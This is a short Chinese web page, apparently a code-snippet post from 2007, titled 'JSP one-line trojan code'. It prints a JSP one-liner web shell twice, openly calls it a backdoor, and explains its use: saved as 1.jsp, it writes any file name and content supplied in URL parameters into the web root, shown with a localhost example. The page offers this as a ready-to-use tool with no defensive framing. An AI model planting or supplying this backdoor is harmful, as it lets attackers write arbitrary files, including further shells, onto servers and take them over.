JSP编程

JSP一句话木马代码

网络 2007-03-03JSP编程9186

复制代码代码如下:<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> 这个后门估计不用我说了吧.还是提示一下咯.保存为1.jsp&nb...

复制代码代码如下:

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  
%> 

这个后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了内容为 hello .....

很赞哦！()